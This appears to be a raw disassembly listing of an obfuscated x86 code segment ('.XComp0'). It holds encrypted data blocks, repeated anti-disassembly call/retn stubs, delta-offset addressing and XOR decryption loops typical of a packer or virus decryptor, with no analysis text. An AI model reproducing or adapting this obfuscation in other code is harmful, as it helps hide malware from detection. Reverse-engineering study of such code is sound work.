		dd 0F90CDD95h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 927B27D6h, 0C283DF8Bh
		dd 0ADB58904h, 8905F927h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 1A31CFC3h, 5B76BE4Fh
		dd 0FC2FCE7h, 840FFFBFh, 0
		dd 10E9858Dh, 0BB6605FDh, 868982E0h, 0B8h, 2425BD0Bh, 6A05F9h
		dd 14E8h, 209B4A00h, 795B2043h,	0C6084992h, 11CE06FEh
		dd 1ED07C36h, 0CF8166F7h, 0FF5F6800h, 0FCFC21B5h, 9995FF05h
		dd 6A05F900h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 2BF8C353h, 0C0B794E2h,	9589788Dh
		dd 5F93315h, 0BE850h, 0B03F0000h, 0A3AC0D8Fh, 5B7F58F1h
		dd 0FE87Eh, 0E7220000h,	37E6B9Dh, 12A73089h, 0F734DFE8h
		dd 8C0FC9h, 5B000000h, 2434895Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 7CC35141h, 2DF78169h, 0FF4C9A1Eh
		dd 0FCFC21B5h, 8E805h, 4AEB0000h, 0D4FD301Fh, 0BE96FD3h
		dd 2B000000h, 0D50C45A0h, 4D9E8818h, 0E85FC15Eh, 9, 4A4AB5Ch
		dd 26640E69h, 0A9DF81D0h, 5F36AE9Fh, 356995FFh,	0BD2305F9h
		dd 5F920B5h, 17F5BD83h,	0F0005F9h, 5984h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 283B3DBAh, 0BE9h, 0F8051C00h, 6E0BEB1h, 254FC7C8h, 17890F96h
		dd 0E9000000h, 12h, 5FB824F0h, 0F0C331B6h, 8988D96Ah, 82CE791Fh
		dd 9650AAFEh, 0ECBABF66h, 1EB59D8Bh, 0B5FF05F9h, 5FCFC21h
		dd 5890Fh, 69BF0000h, 0FF4FB02Bh, 0F92E6D95h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0F2573961h, 0CE882h,	6EDC0000h, 0A35999A4h, 4CBEE58Ch
		dd 0BD89698Fh, 5F919F1h, 21B5FF5Fh, 8105FCFCh, 403CCFC7h
		dd 558D895Bh, 0FF05F934h, 0F921DD95h, 0A9FBBF05h, 0BD832032h
		dd 5F90A2Dh, 3A840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C0CDC350h
		dd 6800Fh, 0D3810000h, 58CFC267h, 1151858Bh, 9D8B05F9h
		dd 5F9297Dh, 0B70000C6h, 1985C79Dh, 5F933h, 8B000000h
		dd 0F933BDBDh, 0F2CCE905h, 9589FFFFh, 5F900EDh,	6AC18Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8B23C3h, 5F93251h, 0F1DDF381h, 858D6D84h,	5F90DC1h
		dd 12E860h, 4FE00000h, 97F1E8A4h, 53730BE3h, 0C9050FCFh
		dd 0FA37854Ah, 1E8D8529h, 0E95905F9h, 0Ch, 1BEA1530h, 0DA0BDC52h
		dd 35DB9D57h, 8B665061h, 240489FEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 47C35040h, 6C3EF27Bh, 317DBD8Bh
		dd 895605F9h, 0F90CF98Dh, 6A5F05h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0D9C35141h,	339C7326h, 4B4529B5h
		dd 2DB9B589h, 6A05F9h, 0B459D89h, 858D05F9h, 5FE5A92h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 39C35040h
		dd 5DBF9B97h, 0E956ED9Bh, 9, 0B8553F41h, 0DE495006h, 0E19509FBh
		dd 8305F915h, 850F05C0h, 5, 79CF8166h, 12E950F8h, 66000000h
		dd 9D7D0D46h, 0E77FD4B9h, 30B393D0h, 3798C8A1h,	24048997h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C1C35141h
		dd 157E25EEh, 66608CC8h, 0B866D38Bh, 6A615ABDh,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD2B5089h, 5F91645h, 8509006Ah, 5F9153Dh, 13ED95FFh
		dd 0B70F05F9h, 838D8DFBh, 3305FCE9h, 0F9180D9Dh, 56D1FF05h
		dd 0DDF8CB81h, 835F6DDBh, 0F91785BDh, 850F0105h, 0AFh
		dd 2705BD8Bh, 9E905F9h,	0E9000000h, 0E0EAF838h,	6B771DB2h
		dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 33F7CEC3h, 6DBFEBA6h, 0BD8B8641h,	5F90B19h
		dd 9E9h, 3FCF0300h, 70FEA8D3h, 5790C32Dh, 6E9h,	93F10C00h
		dd 5FEB38C2h, 0BE606050h, 342187B4h, 8E961h, 0DC410000h
		dd 0DDDD3640h, 906178B2h, 95FFD88Bh, 5F90099h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 63C35040h, 6381D9B5h
		dd 89FB531Fh, 0F9174D95h, 48F0F05h, 66000000h, 0E9D07CBFh
		dd 0DA7h, 0E8h,	0ED815D00h, 5FE5A9Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0B1C35646h,	0E83AC74Dh, 0Ah
		dd 898F6C6Ah, 0C79601C4h, 0B9BBB8BDh, 5B20961Bh, 508DEF81h
		dd 6A34ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 31D376C3h, 4E3D9FD6h, 858DA24Fh, 5FCD97Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A5C35545h
		dd 4AD622B3h, 1E0C789Ch, 0CE91Bh, 0A88E0000h, 1492D253h
		dd 29AB0F55h, 0B350EE23h, 2404893Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0F5C35646h,	15F1363Ch, 9673E031h
		dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0FF9C355h, 173B728Fh
		dd 5E9AA6Ch, 0C7000000h, 0C57F02F7h, 0E6816660h, 0EA80D77Dh
		dd 896461FDh, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8B0EA8h, 5F920F1h, 26BDB529h
		dd 85FF05F9h, 5F9197Dh,	59EF8166h, 6AFF6A9Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 5077C355h, 0D9B5FF10h, 0F05F913h, 7E9D9BFh, 0CF000000h
		dd 9A3C3924h, 95FF221Bh, 5F90911h, 0F2E9h, 85BD8B00h, 0B005F915h
		dd 8170E600h, 0C0B8FCDFh, 171E462h, 0F918ADB5h,	0F613C05h
		dd 0D283h, 0B60FF900h, 6870FC8h, 89000000h, 0F920D99Dh
		dd 419D8B05h, 0BA05F92Bh, 6, 8BD98B66h,	5870FC1h, 66000000h
		dd 0FC33D381h, 8104E8C1h, 1BC03CEBh, 0E2F76629h, 18DD9501h
		dd 0C82B05F9h, 10EDB589h, 0D18B05F9h, 0E9B9CB80h, 83h
		dd 14249EBBh, 50858B01h, 8347554Ch, 0DE8A07C0h,	8900C083h
		dd 0F921F9B5h, 0D88B6605h, 830FD03Bh, 19h, 86C1E381h, 54E9303Ah
		dd 0E9000000h, 9, 22B2AFFBh, 0F96FB05Fh, 0FF8D8B2Fh, 0FFFFFFFh
		dd 81h,	1E18300h, 31840Fh, 0C3800000h, 12E951h,	0E90A0000h
		dd 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h, 72BD3148h, 0FFFFA583h
		dd 0FFEFFFFh, 9589DABFh, 47554C50h, 0E9D98Bh, 8D000000h
		dd 0FDD19FB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8B66966Bh, 81006AF8h
		dd 0DF1C14CFh, 0ED95FF76h, 8905F91Ah, 0F9125195h, 0E5CB905h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 312F67C3h, 75A799FAh, 8B59182Ch, 0F907A59Dh
		dd 0FCE18305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	41C35141h, 0F78166C0h, 6AFCF037h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0BCE1C357h
		dd 0BB66C9ADh, 0C02B24B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 2FC35242h, 389E0DA1h,	0B98D0957h, 0BA05F907h
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5F924FDh]


loc_5C13E6:				; CODE XREF: .XComp0:005C13F0j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C13E6
		sub	[ebp+5F91045h],	esi
		jmp	loc_5C1411
; ---------------------------------------------------------------------------
		mov	ebp, 318C0FE0h
		fld	dword ptr [ebp+3Bh]
		rol	byte ptr [edi+120E2F3Eh], 1
		or	[edi], edx
		pop	edx
		or	al, 0C0h
		dec	eax


loc_5C1411:				; CODE XREF: .XComp0:005C13F8j
		or	eax, 88h
		push	0
		push	eax
		call	sub_5C1421
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1421	proc near		; CODE XREF: .XComp0:005C1419p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C1421	endp

; ---------------------------------------------------------------------------
		db 87h,	2Eh, 5
; ---------------------------------------------------------------------------
		and	ch, [eax]
		jmp	loc_5C1445
; ---------------------------------------------------------------------------
		db 0AAh
		dd 0DFBB4B74h, 4EFC1321h
		db 0B8h
; ---------------------------------------------------------------------------


loc_5C1445:				; CODE XREF: .XComp0:005C1436j
		mov	edx, [ebp+5F90CDDh]
		push	0
		push	edi
		call	sub_5C1456
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1456	proc near		; CODE XREF: .XComp0:005C144Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C1456	endp

; ---------------------------------------------------------------------------
		dw 292Eh
		dd 0F98F5CE8h, 0DF818F0Fh, 506BCB2Dh, 26C18D8Bh, 0EE905F9h
		dd 5C000000h, 0DA8AB78Eh, 0C4B06E30h, 512B1DBEh, 0C28B5032h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 9E1EC355h, 0B308EC0Bh, 6810FF8h, 89000000h, 0F924A1B5h
		dd 59BD8305h, 5F911h, 64840Fh, 81660000h, 0B8917BC7h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C14EF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C14EF	proc near		; CODE XREF: .XComp0:005C14E7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C14EF	endp

; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------
		movsb
		mov	bx, 48F4h
		mov	ebx, 7BC9A806h
		lea	ecx, [ebp+5F94EE8h]
		sub	[ebp+5F918E5h],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5C1523
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1523	proc near		; CODE XREF: .XComp0:005C151Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5C1523	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:0E3C4838Ch
		sub	[ebp+5F92145h],	ecx
		cmp	dword ptr [ebp+5F900FDh], 0
		jz	loc_5C19A0
		push	0
		push	edx
		call	sub_5C1556
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1556	proc near		; CODE XREF: .XComp0:005C154Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C1556	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [ecx-7Fh], 0D3h
		retf	1915h
; ---------------------------------------------------------------------------
		db 24h,	83h, 0BDh
; ---------------------------------------------------------------------------
		std
		add	cl, bh
		add	eax, 40840F01h
		add	al, 0
		add	[edx+0], ch
		push	ebp
		call	sub_5C1586
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1586	proc near		; CODE XREF: .XComp0:005C157Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C1586	endp

; ---------------------------------------------------------------------------
		dw 4163h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5F911F1h]
		mov	[ebp+5F92DA1h],	eax
		cmp	dword ptr [ebp+5F900FDh], 3
		jbe	loc_5C1985
		push	0
		push	ecx
		call	sub_5C15BC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C15BC	proc near		; CODE XREF: .XComp0:005C15B4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C15BC	endp

; ---------------------------------------------------------------------------
		dd 1D9D8901h, 6605F913h, 604BEBBFh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0EEC35141h,	0F4673A6Dh, 0F1BD8B01h
		dd 6605F90Ch, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 5A8D3AC3h, 0FA8484Ah, 0E180FEB7h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 8E479FE0h, 0C90A0128h, 18A840Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 2B79E2C3h, 1E3DEF5Dh, 858BECDAh, 5F92599h, 725BD89h
		dd 853305F9h, 5F9042Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 9C35646h, 0BD298E89h,	5F92C95h, 0A107BF90h
		dd 0B750081Ch, 6A906Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0F3DCDAC3h, 6E136B20h, 8D090091h
		dd 5F927BDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 3D1890C3h, 66547641h, 4E8DE8Bh
		dd 0FF000000h, 53001F03h, 505B25B7h, 424448Bh, 7E96060h
		dd 0A3000000h, 0B510931Fh, 1DB93588h, 6106CDBCh, 0DA33B966h
		dd 50008B61h, 60310F52h, 0FB171AB8h, 7E800h, 189B0000h
		dd 13E8A65Eh, 5A615FF5h, 24448958h, 7EBB6604h, 9D8B5806h
		dd 5F915A5h, 2AC595FFh,	6A05F9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 501E7BC3h, 13E9h, 545ED600h
		dd 0D4350E68h, 0A23E5EBh, 0EF3E478Fh, 346005D4h, 2185895Fh
		dd 0F05FCFCh, 285h, 0E958B300h,	164h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C2C35040h,	0E4F3E0B1h, 0B31D96A7h
		dd 4119D8Bh, 8D8905F9h,	5F91111h, 0FC19858Bh, 816605FCh
		dd 0C71F22DFh, 1800h, 0D6BB6600h, 1DB58BD0h, 6A05FCFCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8BCBC351h, 0F91595BDh, 89858B05h,	6605F92Bh
		dd 689FB8Bh, 76B2BF66h,	2599858Bh, 0DE905F9h, 0
		dd 114F137Ah, 7158A345h, 0C6B93FB5h, 89044689h,	0F91B1DB5h
		dd 67BB5005h, 896518E3h, 6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 89988AC3h, 9058CC8Fh
		dd 0BE9F3h, 0E2B70000h,	0E0A9D7A8h, 2781B57Bh, 26C381BCh
		dd 0FF674727h, 0FCFC19B5h, 0B561BB05h, 4C685879h, 8B8BB35Bh
		dd 240481F8h, 746BA8B3h, 9D8BF0Fh, 0F9108DB5h, 21858D05h
		dd 6A05FCFCh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0C963C352h, 15D9E148h,	9F3B3AC9h
		dd 8B50A7B3h, 240489FBh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 4BC35545h, 57B3F2D7h,	22558D01h, 95FF05F9h
		dd 5F92AC5h, 6F7BBB66h,	51006A61h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A6BA44B6h, 89463E8Ch
		dd 0F90CAD85h, 0FD85C705h, 305F900h, 81000000h,	0C6949EBh
		dd 21BD8376h, 5FCFCh, 2F840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F44C5DC3h
		dd 61605160h, 21E9615Ah, 89000000h, 0F925B595h
		db 5
; ---------------------------------------------------------------------------


loc_5C1985:				; CODE XREF: .XComp0:005C15ABj
					; .XComp0:005C199Cj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C1985
		jmp	short loc_5C19D6
; ---------------------------------------------------------------------------


loc_5C19A0:				; CODE XREF: .XComp0:005C1545j
					; .XComp0:005C19B7j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C19A0
		jmp	short loc_5C19D6
; ---------------------------------------------------------------------------


loc_5C19BB:				; CODE XREF: .XComp0:005C19D2j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C19BB
		jmp	short $+2


loc_5C19D6:				; CODE XREF: .XComp0:005C199Ej
					; .XComp0:005C19B9j
		mov	eax, eax
		add	ebx, [ebp+5F92DB1h]
		cmc
		cmp	dword ptr [ebp+5F900FDh], 3
		jnz	loc_5C1DF3
		stc
		cmp	dword ptr [ebp+5FCFC21h], 0
		jz	loc_5C1DF3
		jnz	loc_5C1A06
		mov	[ebp+5F924BDh],	edx


loc_5C1A06:				; CODE XREF: .XComp0:005C19FAj
		push	dword ptr [ebp+5FCFC21h]
		push	0
		push	esi
		call	sub_5C1A17
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1A17	proc near		; CODE XREF: .XComp0:005C1A0Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C1A17	endp

; ---------------------------------------------------------------------------
		db 0BEh
		dd 17698F4Ch, 0E916B7BAh, 0Eh, 29682F6h, 6D482528h, 0F72E69E4h
		dd 95FF8893h, 5F91AADh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0BFC35747h, 0ED778FBAh, 0E66D5BAh, 0B8CF8166h
		dd 15B58B85h, 5205FCFCh, 9AFABF66h, 106C75Fh, 0E9000100h
		dd 6, 0D59C3D35h, 509678E8h, 0DA8B6652h, 0BF66310Fh, 585A8C5Eh
		dd 8B566050h, 96615FC1h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0B4C35747h, 261ABF66h, 0FC21B5FFh, 6A05FCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 69B3DAC3h, 36156413h, 0FCE4A58h, 882h, 28D0F00h, 52000000h
		dd 2995FF5Fh, 6A05F927h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D4CAC357h,	6682B7F6h
		dd 6D27CB81h, 0FC15B58Bh, 6A05FCh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F09BAC3h, 0FB8B661Fh
		dd 4EDB529h, 858B05F9h,	5F91809h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0E5C35646h,	6800FA9h, 29000000h
		dd 0F92111BDh, 0C4868905h, 6A000000h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 1E63C352h
		dd 0F889760h, 684h, 0D19D8900h,	8B05F925h, 0F90CDD95h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 5B94CF0h, 0BB04C283h, 1365D0C8h,	6A205089h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0BE5EC355h, 0BFE05277h, 23F9487Ah, 10E9858Dh
		dd 6A05FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 880236C3h, 0E814DF08h, 8,	0D74A33DBh, 0F1A9965Bh
		dd 20CD9D8Bh, 8B5B05F9h, 0F912059Dh, 0B8868905h, 31000000h
		dd 0F90DADBDh, 57006A05h, 5FDFB70Fh, 0FC21B5FFh, 0BD8905FCh
		dd 5F90F85h, 9995FFh, 8B6605F9h, 0BB6650F8h, 34896AEEh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E33EF3B2h, 5412BB20h, 21B5FFCCh, 0E905FCFCh
		dd 0Ch,	3173D178h, 0C5D38AF6h, 0A9779B0Fh, 356995FFh, 6A05F9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 446EBCC3h, 0A14F9B2h, 0BD83D6CAh, 5F917F5h, 82840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0B3C0C357h, 89AE426Fh,	43D78160h
		dd 6042E46Dh, 0FE8h, 0CE5E3000h, 0DF1934D9h, 0D24233Fh
		dd 8AE2B9E3h, 17B8665Ah, 89616156h, 0F927C59Dh,	0D8BF0F05h
		dd 9EBB6650h, 24348988h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 55C35545h, 0A8A69ED3h, 4098BB56h, 2B5F455Ch
		dd 0F921D59Dh, 21B5FF05h, 0F905FCFCh, 95FFFE8Bh, 5F92E6Dh
		dd 0B5FFDF8Bh, 5FCFC21h, 0F4D8D89h, 95FF05F9h, 5F921DDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 17C35747h
		dd 71889126h, 0DB816645h, 0BD833D28h, 5F90A2Dh,	1C840F02h
		dd 8B000000h, 51858BD9h, 0F05F911h, 58Bh, 0D7816600h, 0C6D0A3h
		dd 23CB8100h, 0C72FE11Ch, 0F9331985h, 5, 0F9858900h
		db 16h,	0F9h, 5
; ---------------------------------------------------------------------------


loc_5C1DF3:				; CODE XREF: .XComp0:005C19E6j
					; .XComp0:005C19F4j
		jmp	near ptr dword_5C0BE4+5E9h
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C1E03
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1E03	proc near		; CODE XREF: .XComp0:005C1DFBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C1E03	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F00772Ch, 68Eh, 15953100h, 8B05F925h, 0B58589C1h, 8D05F90Fh
		dd 0F90DC185h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 53A13DB8h, 34821C95h
		dd 0D380FC48h, 0BB665063h, 489AB81h, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0EEBCCC33h
		dd 3BBF17Ah, 6A11E111h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 14E2160h, 0F9181985h
		dd 6A006A05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 73BEC351h, 0E48D7414h,	0F3D5389h
		dd 68Ah, 76DF8100h, 332379F7h, 0F91459BDh, 6E858D05h, 0E905FE6Ah
		dd 11h,	5116A136h, 963EDCF7h, 0B190A6D6h, 694A05C6h, 0C083F504h
		dd 828EBB05h, 0E950558Dh, 14h, 61D5470Ch, 0F5540192h, 7D3EE50Ch
		dd 0FEE0B30h, 1BE4672Ah, 0BF240489h, 18BAED65h,	10E9006Ah
		dd 0D4000000h, 0CC09F971h, 8AA3AF12h, 0E4AC205Eh, 6A8F790Eh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 486089D3h, 758D09DEh, 0FF05F913h, 0F913ED95h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 2FB1EBD0h, 0BF4CCE5Bh, 5E8h, 78BA7E00h
		dd 8151760Ah, 0E7CED2D3h, 8D5F5F1Fh, 0FCE9838Dh, 0D1FFF505h
		dd 0FFBB70Fh, 68Bh, 799D8900h, 8305F929h, 0F91785BDh, 850F0105h
		dd 8Fh,	26A07B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0A7C35747h, 0F5D61715h,	72B62E66h, 0C98D897Ch
		dd 5005F910h, 4840Fh, 8B570000h, 4895BDEh, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 4375CC1Ah, 916D0FA7h, 9995FF85h, 6A05F900h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 3716C352h, 9D8BC055h, 5F906CDh, 0E9FA8B66h, 0BFCh, 0E8h
		dd 0ED815D00h, 5FE6A78h, 3155BD29h, 6A05F9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 70C662C3h
		dd 3EE4DC45h, 28D0Fh, 0DD8A0000h, 0D97C858Dh, 816605FCh
		dd 905E55CFh, 5D73BF66h, 66525050h, 0F41C7BFh, 90585A31h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F1C35747h
		dd 0BAF6A116h, 64FA7C00h, 35FFh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0DDB169C3h
		dd 0DB81663Eh, 0BD8B2773h, 5F92E95h, 2E79B589h,	896405F9h
		dd 25h,	7D85FF00h, 6605F919h, 6A6F71BFh, 0C38166FFh, 0B5FFC64Ah
		dd 5F91091h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0D1C35343h, 0A404B13Eh,	9E2184Fh, 0F90CF98Dh, 1195FF05h
		dd 0E905F909h, 118h, 7E9h, 1D0D6600h, 266AA778h, 895600B0h
		dd 0F9243595h, 70E65F05h, 85DF8166h, 8071E44Ah,	9D8BBAF3h
		dd 5F91871h, 830F613Ch,	0E8h, 6E9h, 85CB2F00h, 80B561EEh
		dd 0B60FA6E3h, 0CE9C8h,	0DC700000h, 4C7CF221h, 4AB34D65h
		dd 6BA8D57h, 1000000h, 0F91B1D95h, 53C18B05h, 6840Fh, 9D890000h
		dd 5F933C5h, 4E8C15Bh, 20F19D8Bh, 0F76605F9h, 0FC82BE2h
		dd 687h, 0B1B58900h, 8B05F913h,	89E9F8D1h, 29000000h, 0F924959Dh
		dd 49858B05h, 0F944004Eh, 3307C083h, 0F92869BDh, 0C08305h
		dd 0BDEBF0Fh, 0F934119Dh, 0FD03B05h, 0E83h, 51B52900h
		dd 0E905F916h, 54h, 8B91E380h, 0FFFFFF8Dh, 1E183FFh, 42840Fh
		dd 0BF660000h, 9D8BD6DCh, 5F92E3Dh, 0FFFFA583h,	60FEFFFFh
		dd 205D8589h, 0B36005F9h, 61F8B555h, 49958961h,	0E844004Eh
		dd 0Ch,	3485C9B6h, 3B9A5C25h, 7C60BDBFh, 2E5D8589h, 0E95B05F9h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+5FDDFFBh]
		push	0
		push	eax
		call	sub_5C228D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



